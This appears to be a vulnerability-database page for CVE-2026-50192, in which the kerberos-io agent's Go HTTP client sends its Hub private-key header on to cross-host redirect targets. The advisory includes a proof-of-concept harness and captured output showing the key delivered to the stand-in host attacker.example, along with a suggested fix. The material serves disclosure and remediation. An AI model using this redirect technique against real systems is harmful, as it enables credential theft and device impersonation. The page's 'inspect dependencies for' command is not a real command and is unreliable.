CVE-2026-50192: Github.com/kerberos io/agent/machinery Kerberos Hub Private Key (X-Kerberos-Hub-PrivateKey) Vulnerability

MODERATE
Advisory Identifier: GHSA-h5gx-45rj-2h5j
CWE-522 CWE-200
Published
Advisory Summary

CVE-2026-50192 is a MODERATE kerberos hub private key (x-kerberos-hub-privatekey) vulnerability (CWE-522: Insufficiently Protected Credentials) affecting Github.com/kerberos io/agent/machinery libraries in the Go ecosystem. The issue involves kerberos hub private key (x-kerberos-hub-privatekey) leaked to cross-host redirect target due to redirect-following http client without checkredirect. Remediation is available by upgrading affected packages to version 0.0.0-20260528173546-51f1a52e170f.

CVE-2026-50192 at a Glance

CVE Identifier CVE-2026-50192
GHSA Identifier GHSA-h5gx-45rj-2h5j
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-522: Insufficiently Protected Credentials
Affected Product Github.com/kerberos io/agent/machinery
Package Ecosystem Go
Published Date
Last Updated

How to Fix CVE-2026-50192

To remediate this vulnerability, upgrade all affected Github.com/kerberos io/agent/machinery dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/kerberos-io/agent/machinery fixed: 0.0.0-20260528173546-51f1a52e170f
Upgrade github.com/kerberos-io/agent/machinery to 0.0.0-20260528173546-51f1a52e170f
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/kerberos-io/agent/machinery

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-50192, inspect your project dependencies for Github.com/kerberos io/agent/machinery:

inspect dependencies for github.com/kerberos-io/agent/machinery

Analyze the terminal output to locate any version of Github.com/kerberos io/agent/machinery in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.0-20260528173546-51f1a52e170f), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-522: Insufficiently Protected Credentials, where the product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval. In Github.com/kerberos io/agent/machinery, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The Kerberos Hub upload path sends the agent's Hub credentials in the custom `X-Kerberos-Hub-PrivateKey` and `X-Kerberos-Hub-PublicKey` request headers to the operator-configured Hub URL (`config.HubURI`). The HTTP client used (`&http.Client{}` in `UploadKerberosHub`) is constructed without a `CheckRedirect` policy, so it follows HTTP redirects automatically. Go's `net/http` strips only sensitive headers (`Authorization`, `Cookie`, `WWW-Authenticate`) on a cross-host redirect; it does **not** strip custom headers such as `X-Kerberos-Hub-PrivateKey`. As a result, if the configured `HubURI` returns a cross-host 30x redirect, the Hub private key is forwarded verbatim to the redirect target, disclosing the credential to an unintended third party (CWE-200 / CWE-522). ### Impact The Kerberos Hub private key (a long-lived secret authenticating the agent to Kerberos Hub) is leaked to an attacker-controlled host whenever the configured `HubURI` issues a cross-origin redirect. `HubURI` is operator configuration (`models.Config.HubURI`, JSON `hub_uri`); an open redirect on that host, a compromised/hijacked Hub deployment, a DNS/BGP hijack, or a malicious URL supplied in the agent config causes the secret to be exfiltrated. The leaked private key (together with the public key, which is forwarded in the same request) grants the attacker the agent's access to Kerberos Hub, including the ability to upload/impersonate the device. ### Vulnerable code (file:line) `machinery/src/cloud/kerberos_hub.go` — the custom auth headers are set on a request to the operator-configurable `config.HubURI`, and the client follows redirects (no `CheckRedirect`): ```go // Check if we are allowed to upload to the hub with these credentials. // There might be different reasons like (muted, read-only..) req, err := http.NewRequest("HEAD", config.HubURI+"/storage/upload", nil) if err != nil { errorMessage := "UploadKerberosHub: error reading HEAD request, " + config.HubURI + "/storage: " + err.Error() log.Log.Error(errorMessage) return false, true, errors.New(errorMessage) } req.Header.Set("X-Kerberos-Storage-FileName", fileName) req.Header.Set("X-Kerberos-Storage-Capture", "IPCamera") req.Header.Set("X-Kerberos-Storage-Device", config.Key) req.Header.Set("X-Kerberos-Hub-PublicKey", config.HubKey) req.Header.Set("X-Kerberos-Hub-PrivateKey", config.HubPrivateKey) // line 63 req.Header.Set("X-Kerberos-Hub-Region", config.S3.Region) var client *http.Client if os.Getenv("AGENT_TLS_INSECURE") == "true" { tr := &http.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, } client = &http.Client{Transport: tr} } else { client = &http.Client{} // line 73 — no CheckRedirect } resp, err := client.Do(req) ``` `HubURI` is operator configuration: ```go HubURI string `json:"hub_uri" bson:"hub_uri"` ``` ### Attack scenario 1. An operator configures the agent with a `hub_uri`. 2. That host (or a host reachable from it via redirect) responds to `/storage/upload` with `302 Found` to `https://attacker.example/...`. 3. `client.Do(req)` follows the redirect and re-sends the request, including `X-Kerberos-Hub-PrivateKey` and `X-Kerberos-Hub-PublicKey`, to `attacker.example`. 4. The attacker captures the Hub credentials. ### Proof of concept Driver built against the verbatim pinned `kerberos_hub.go` from v3.6.25. The exported `cloud.UploadKerberosHub` is invoked. Two hostnames resolve to local test servers so `net/http` treats the 302 as a genuine cross-host redirect. ```go package main import ( "context" "fmt" "net" "net/http" "net/http/httptest" "os" "strings" "sync" "github.com/kerberos-io/agent/machinery/src/cloud" "github.com/kerberos-io/agent/machinery/src/models" ) func installResolver(mapping map[string]string) { tr := http.DefaultTransport.(*http.Transport).Clone() tr.DialContext = func(ctx context.Context, network, addr string) (net.Conn, error) { host, _, _ := net.SplitHostPort(addr) if target, ok := mapping[host]; ok { addr = target } return (&net.Dialer{}).DialContext(ctx, network, addr) } http.DefaultTransport = tr } func main() { var mu sync.Mutex var sawPriv, sawPub string attacker := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { mu.Lock() sawPriv = r.Header.Get("X-Kerberos-Hub-PrivateKey") sawPub = r.Header.Get("X-Kerberos-Hub-PublicKey") mu.Unlock() fmt.Printf("[attacker host %s] received %s %s\n", r.Host, r.Method, r.URL.Path) fmt.Printf("[attacker host %s] X-Kerberos-Hub-PrivateKey = %q\n", r.Host, r.Header.Get("X-Kerberos-Hub-PrivateKey")) w.WriteHeader(200) })) defer attacker.Close() legit := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { fmt.Printf("[legit host %s] received %s %s -> 302 to attacker.example\n", r.Host, r.Method, r.URL.Path) http.Redirect(w, r, "http://attacker.example"+r.URL.Path, http.StatusFound) })) defer legit.Close() installResolver(map[string]string{ "legit.example": strings.TrimPrefix(legit.URL, "http://"), "attacker.example": strings.TrimPrefix(attacker.URL, "http://"), }) os.MkdirAll("data/recordings", 0o755) os.WriteFile("data/recordings/clip.mp4", []byte("FAKEMP4DATA"), 0o644) cfg := &models.Configuration{ Config: models.Config{ HubURI: "http://legit.example", // operator-configurable base URL HubKey: "PUBLIC-KEY-12345", HubPrivateKey: "SECRET-PRIVATE-KEY-DO-NOT-LEAK", Key: "device-key", }, } cfg.Config.S3.Region = "us-east-1" _, _, _ = cloud.UploadKerberosHub(cfg, "clip.mp4") mu.Lock() defer mu.Unlock() fmt.Printf("attacker host saw X-Kerberos-Hub-PrivateKey = %q\n", sawPriv) fmt.Printf("attacker host saw X-Kerberos-Hub-PublicKey = %q\n", sawPub) } ``` ### End-to-end reproduction Pinned to `github.com/kerberos-io/agent/machinery@v3.6.25`. Verbatim `kerberos_hub.go` from that tag. Captured stdout: ``` legit (operator-configured) HubURI = http://legit.example (-> 127.0.0.1) attacker host (cross-origin) = http://attacker.example (-> 127.0.0.1) calling cloud.UploadKerberosHub then client.Do [INFO] UploadKerberosHub: Uploading to Kerberos Hub (http://legit.example) [INFO] UploadKerberosHub: Upload started for clip.mp4 [legit host legit.example] received HEAD /storage/upload -> 302 to attacker.example [attacker host attacker.example] received HEAD /storage/upload [attacker host attacker.example] X-Kerberos-Hub-PrivateKey = "SECRET-PRIVATE-KEY-DO-NOT-LEAK" [attacker host attacker.example] X-Kerberos-Hub-PublicKey = "PUBLIC-KEY-12345" [INFO] UploadKerberosHub: Upload allowed using the credentials provided (PUBLIC-KEY-12345, SECRET-PRIVATE-KEY-DO-NOT-LEAK) [legit host legit.example] received POST /storage/upload -> 302 to attacker.example [attacker host attacker.example] received GET /storage/upload [attacker host attacker.example] X-Kerberos-Hub-PrivateKey = "SECRET-PRIVATE-KEY-DO-NOT-LEAK" [attacker host attacker.example] X-Kerberos-Hub-PublicKey = "PUBLIC-KEY-12345" [INFO] UploadKerberosHub: Upload Finished, 200 OK. ----- RESULT ----- attacker host saw X-Kerberos-Hub-PrivateKey = "SECRET-PRIVATE-KEY-DO-NOT-LEAK" attacker host saw X-Kerberos-Hub-PublicKey = "PUBLIC-KEY-12345" LEAK CONFIRMED: hub private key forwarded to cross-origin redirect target ----- NEGATIVE CONTROL (same bare &http.Client{}, legit.example -> attacker.example) ----- attacker saw Authorization = "" (stdlib strips standard auth header cross-host) attacker saw X-Kerberos-Hub-PrivateKey = "SECRET-PRIVATE-KEY-DO-NOT-LEAK" (custom header NOT stripped -> the bug) ``` The negative control on the same bare client and same cross-host redirect shows the standard `Authorization` header is stripped by `net/http`, while the custom `X-Kerberos-Hub-PrivateKey` is forwarded — confirming the leak is specific to the custom-named auth header. ### Suggested fix Set a `CheckRedirect` policy on the client used in `UploadKerberosHub` (and the other Hub helpers in this file) that strips the `X-Kerberos-Hub-PrivateKey` / `X-Kerberos-Hub-PublicKey` headers (and any other custom auth headers) when the redirect target host differs from the original request host: ```go checkRedirect := func(req *http.Request, via []*http.Request) error { if len(via) > 0 && req.URL.Host != via[0].URL.Host { req.Header.Del("X-Kerberos-Hub-PrivateKey") req.Header.Del("X-Kerberos-Hub-PublicKey") } return nil } client = &http.Client{CheckRedirect: checkRedirect} ``` A regression test should assert that after a cross-host redirect the `X-Kerberos-Hub-PrivateKey` header is absent at the final host, and that same-host redirects still carry it. ### Fix PR A fix PR implementing the `CheckRedirect` strip plus a cross-host regression test is provided to the maintainer through the advisory's private temporary fork. ### Credit Reported by tonghuaroot.

CVE-2026-50192 Affected Github.com/kerberos io/agent/machinery Versions

1 component(s)
Fixed Versions:
0.0.0-20260528173546-51f1a52e170f
Product / Package Ecosystem Affected Versions Fixed Version
github.com/kerberos-io/agent/machinery
Go
< 0.0.0-20260528173546-51f1a52e170f
0.0.0-20260528173546-51f1a52e170f

References

Frequently Asked Questions

What is CVE-2026-50192?
CVE-2026-50192 is a security vulnerability in Github.com/kerberos io/agent/machinery involving Kerberos Hub private key (X-Kerberos-Hub-PrivateKey) leaked to cross-host redirect target due to redirect-following HTTP client without CheckRedirect under CWE-522: Insufficiently Protected Credentials.
Which Github.com/kerberos io/agent/machinery versions are affected?
Affected versions include releases prior to 0.0.0-20260528173546-51f1a52e170f across affected packages: github.com/kerberos-io/agent/machinery.
What version fixes CVE-2026-50192?
Upgrading to 0.0.0-20260528173546-51f1a52e170f (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/kerberos-io/agent/machinery affected?
Yes, github.com/kerberos-io/agent/machinery is affected in releases prior to 0.0.0-20260528173546-51f1a52e170f. Upgrade your dependency to 0.0.0-20260528173546-51f1a52e170f or later.
What CWE is associated with CVE-2026-50192?
CVE-2026-50192 is classified under CWE-522: Insufficiently Protected Credentials (The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.).
How can I check Go dependencies for CVE-2026-50192?
Run the dependency tree command: 'inspect dependencies for github.com/kerberos-io/agent/machinery'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-h5gx-45rj-2h5j",
  "modified" : "2026-07-02T17:33:36Z",
  "published" : "2026-07-02T17:33:36Z",
  "aliases" : [ "CVE-2026-50192" ],
  "summary" : "Kerberos Hub private key (X-Kerberos-Hub-PrivateKey) leaked to cross-host redirect target due to redirect-following HTTP client without CheckRedirect",
  "details" : "### Summary\n\nThe Kerberos Hub upload path sends the agent's Hub credentials in the custom `X-Kerberos-Hub-PrivateKey` and `X-Kerberos-Hub-PublicKey` request headers to the operator-configured Hub URL (`config.HubURI`). The HTTP client used (`&http.Client{}` in `UploadKerberosHub`) is constructed without a `CheckRedirect` policy, so it follows HTTP redirects automatically. Go's `net/http` strips only sensitive headers (`Authorization`, `Cookie`, `WWW-Authenticate`) on a cross-host redirect; it does **not** strip custom headers such as `X-Kerberos-Hub-PrivateKey`. As a result, if the configured `HubURI` returns a cross-host 30x redirect, the Hub private key is forwarded verbatim to the redirect target, disclosing the credential to an unintended third party (CWE-200 / CWE-522).\n\n### Impact\n\nThe Kerberos Hub private key (a long-lived secret authenticating the agent to Kerberos Hub) is leaked to an attacker-controlled host whenever the configured `HubURI` issues a cross-origin redirect. `HubURI` is operator configuration (`models.Config.HubURI`, JSON `hub_uri`); an open redirect on that host, a compromised/hijacked Hub deployment, a DNS/BGP hijack, or a malicious URL supplied in the agent config causes the secret to be exfiltrated. The leaked private key (together with the public key, which is forwarded in the same request) grants the attacker the agent's access to Kerberos Hub, including the ability to upload/impersonate the device.\n\n### Vulnerable code (file:line)\n\n`machinery/src/cloud/kerberos_hub.go` — the custom auth headers are set on a request to the operator-configurable `config.HubURI`, and the client follows redirects (no `CheckRedirect`):\n\n```go\n\t// Check if we are allowed to upload to the hub with these credentials.\n\t// There might be different reasons like (muted, read-only..)\n\treq, err := http.NewRequest(\"HEAD\", config.HubURI+\"/storage/upload\", nil)\n\tif err != nil {\n\t\terrorMessage := \"UploadKerberosHub: error reading HEAD request, \" + config.HubURI + \"/storage: \" + err.Error()\n\t\tlog.Log.Error(errorMessage)\n\t\treturn false, true, errors.New(errorMessage)\n\t}\n\n\treq.Header.Set(\"X-Kerberos-Storage-FileName\", fileName)\n\treq.Header.Set(\"X-Kerberos-Storage-Capture\", \"IPCamera\")\n\treq.Header.Set(\"X-Kerberos-Storage-Device\", config.Key)\n\treq.Header.Set(\"X-Kerberos-Hub-PublicKey\", config.HubKey)\n\treq.Header.Set(\"X-Kerberos-Hub-PrivateKey\", config.HubPrivateKey)   // line 63\n\treq.Header.Set(\"X-Kerberos-Hub-Region\", config.S3.Region)\n\n\tvar client *http.Client\n\tif os.Getenv(\"AGENT_TLS_INSECURE\") == \"true\" {\n\t\ttr := &http.Transport{\n\t\t\tTLSClientConfig: &tls.Config{InsecureSkipVerify: true},\n\t\t}\n\t\tclient = &http.Client{Transport: tr}\n\t} else {\n\t\tclient = &http.Client{}   // line 73 — no CheckRedirect\n\t}\n\n\tresp, err := client.Do(req)\n```\n\n`HubURI` is operator configuration:\n\n```go\nHubURI                  string       `json:\"hub_uri\" bson:\"hub_uri\"`\n```\n\n### Attack scenario\n\n1. An operator configures the agent with a `hub_uri`.\n2. That host (or a host reachable from it via redirect) responds to `/storage/upload` with `302 Found` to `https://attacker.example/...`.\n3. `client.Do(req)` follows the redirect and re-sends the request, including `X-Kerberos-Hub-PrivateKey` and `X-Kerberos-Hub-PublicKey`, to `attacker.example`.\n4. The attacker captures the Hub credentials.\n\n### Proof of concept\n\nDriver built against the verbatim pinned `kerberos_hub.go` from v3.6.25. The exported `cloud.UploadKerberosHub` is invoked. Two hostnames resolve to local test servers so `net/http` treats the 302 as a genuine cross-host redirect.\n\n```go\npackage main\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"net\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"os\"\n\t\"strings\"\n\t\"sync\"\n\n\t\"github.com/kerberos-io/agent/machinery/src/cloud\"\n\t\"github.com/kerberos-io/agent/machinery/src/models\"\n)\n\nfunc installResolver(mapping map[string]string) {\n\ttr := http.DefaultTransport.(*http.Transport).Clone()\n\ttr.DialContext = func(ctx context.Context, network, addr string) (net.Conn, error) {\n\t\thost, _, _ := net.SplitHostPort(addr)\n\t\tif target, ok := mapping[host]; ok {\n\t\t\taddr = target\n\t\t}\n\t\treturn (&net.Dialer{}).DialContext(ctx, network, addr)\n\t}\n\thttp.DefaultTransport = tr\n}\n\nfunc main() {\n\tvar mu sync.Mutex\n\tvar sawPriv, sawPub string\n\tattacker := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tmu.Lock()\n\t\tsawPriv = r.Header.Get(\"X-Kerberos-Hub-PrivateKey\")\n\t\tsawPub = r.Header.Get(\"X-Kerberos-Hub-PublicKey\")\n\t\tmu.Unlock()\n\t\tfmt.Printf(\"[attacker host %s] received %s %s\\n\", r.Host, r.Method, r.URL.Path)\n\t\tfmt.Printf(\"[attacker host %s]   X-Kerberos-Hub-PrivateKey = %q\\n\", r.Host, r.Header.Get(\"X-Kerberos-Hub-PrivateKey\"))\n\t\tw.WriteHeader(200)\n\t}))\n\tdefer attacker.Close()\n\n\tlegit := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tfmt.Printf(\"[legit host %s] received %s %s -> 302 to attacker.example\\n\", r.Host, r.Method, r.URL.Path)\n\t\thttp.Redirect(w, r, \"http://attacker.example\"+r.URL.Path, http.StatusFound)\n\t}))\n\tdefer legit.Close()\n\n\tinstallResolver(map[string]string{\n\t\t\"legit.example\":    strings.TrimPrefix(legit.URL, \"http://\"),\n\t\t\"attacker.example\": strings.TrimPrefix(attacker.URL, \"http://\"),\n\t})\n\n\tos.MkdirAll(\"data/recordings\", 0o755)\n\tos.WriteFile(\"data/recordings/clip.mp4\", []byte(\"FAKEMP4DATA\"), 0o644)\n\n\tcfg := &models.Configuration{\n\t\tConfig: models.Config{\n\t\t\tHubURI:        \"http://legit.example\", // operator-configurable base URL\n\t\t\tHubKey:        \"PUBLIC-KEY-12345\",\n\t\t\tHubPrivateKey: \"SECRET-PRIVATE-KEY-DO-NOT-LEAK\",\n\t\t\tKey:           \"device-key\",\n\t\t},\n\t}\n\tcfg.Config.S3.Region = \"us-east-1\"\n\t_, _, _ = cloud.UploadKerberosHub(cfg, \"clip.mp4\")\n\n\tmu.Lock()\n\tdefer mu.Unlock()\n\tfmt.Printf(\"attacker host saw X-Kerberos-Hub-PrivateKey = %q\\n\", sawPriv)\n\tfmt.Printf(\"attacker host saw X-Kerberos-Hub-PublicKey  = %q\\n\", sawPub)\n}\n```\n\n### End-to-end reproduction\n\nPinned to `github.com/kerberos-io/agent/machinery@v3.6.25`. Verbatim `kerberos_hub.go` from that tag. Captured stdout:\n\n```\nlegit (operator-configured) HubURI = http://legit.example  (-> 127.0.0.1)\nattacker host (cross-origin)        = http://attacker.example  (-> 127.0.0.1)\ncalling cloud.UploadKerberosHub then client.Do\n[INFO] UploadKerberosHub: Uploading to Kerberos Hub (http://legit.example)\n[INFO] UploadKerberosHub: Upload started for clip.mp4\n[legit host legit.example] received HEAD /storage/upload -> 302 to attacker.example\n[attacker host attacker.example] received HEAD /storage/upload\n[attacker host attacker.example]   X-Kerberos-Hub-PrivateKey = \"SECRET-PRIVATE-KEY-DO-NOT-LEAK\"\n[attacker host attacker.example]   X-Kerberos-Hub-PublicKey  = \"PUBLIC-KEY-12345\"\n[INFO] UploadKerberosHub: Upload allowed using the credentials provided (PUBLIC-KEY-12345, SECRET-PRIVATE-KEY-DO-NOT-LEAK)\n[legit host legit.example] received POST /storage/upload -> 302 to attacker.example\n[attacker host attacker.example] received GET /storage/upload\n[attacker host attacker.example]   X-Kerberos-Hub-PrivateKey = \"SECRET-PRIVATE-KEY-DO-NOT-LEAK\"\n[attacker host attacker.example]   X-Kerberos-Hub-PublicKey  = \"PUBLIC-KEY-12345\"\n[INFO] UploadKerberosHub: Upload Finished, 200 OK.\n----- RESULT -----\nattacker host saw X-Kerberos-Hub-PrivateKey = \"SECRET-PRIVATE-KEY-DO-NOT-LEAK\"\nattacker host saw X-Kerberos-Hub-PublicKey  = \"PUBLIC-KEY-12345\"\nLEAK CONFIRMED: hub private key forwarded to cross-origin redirect target\n----- NEGATIVE CONTROL (same bare &http.Client{}, legit.example -> attacker.example) -----\nattacker saw Authorization             = \"\"  (stdlib strips standard auth header cross-host)\nattacker saw X-Kerberos-Hub-PrivateKey = \"SECRET-PRIVATE-KEY-DO-NOT-LEAK\"  (custom header NOT stripped -> the bug)\n```\n\nThe negative control on the same bare client and same cross-host redirect shows the standard `Authorization` header is stripped by `net/http`, while the custom `X-Kerberos-Hub-PrivateKey` is forwarded — confirming the leak is specific to the custom-named auth header.\n\n### Suggested fix\n\nSet a `CheckRedirect` policy on the client used in `UploadKerberosHub` (and the other Hub helpers in this file) that strips the `X-Kerberos-Hub-PrivateKey` / `X-Kerberos-Hub-PublicKey` headers (and any other custom auth headers) when the redirect target host differs from the original request host:\n\n```go\ncheckRedirect := func(req *http.Request, via []*http.Request) error {\n\tif len(via) > 0 && req.URL.Host != via[0].URL.Host {\n\t\treq.Header.Del(\"X-Kerberos-Hub-PrivateKey\")\n\t\treq.Header.Del(\"X-Kerberos-Hub-PublicKey\")\n\t}\n\treturn nil\n}\nclient = &http.Client{CheckRedirect: checkRedirect}\n```\n\nA regression test should assert that after a cross-host redirect the `X-Kerberos-Hub-PrivateKey` header is absent at the final host, and that same-host redirects still carry it.\n\n### Fix PR\n\nA fix PR implementing the `CheckRedirect` strip plus a cross-host regression test is provided to the maintainer through the advisory's private temporary fork.\n\n### Credit\n\nReported by tonghuaroot.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/kerberos-io/agent/machinery"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.0-20260528173546-51f1a52e170f"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/kerberos-io/agent/security/advisories/GHSA-h5gx-45rj-2h5j"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/kerberos-io/agent/commit/51f1a52e170f21c1264c6de1dc781d5b5e2a5d09"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/kerberos-io/agent"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-200", "CWE-522" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-02T17:33:36Z",
    "nvd_published_at" : null
  }
}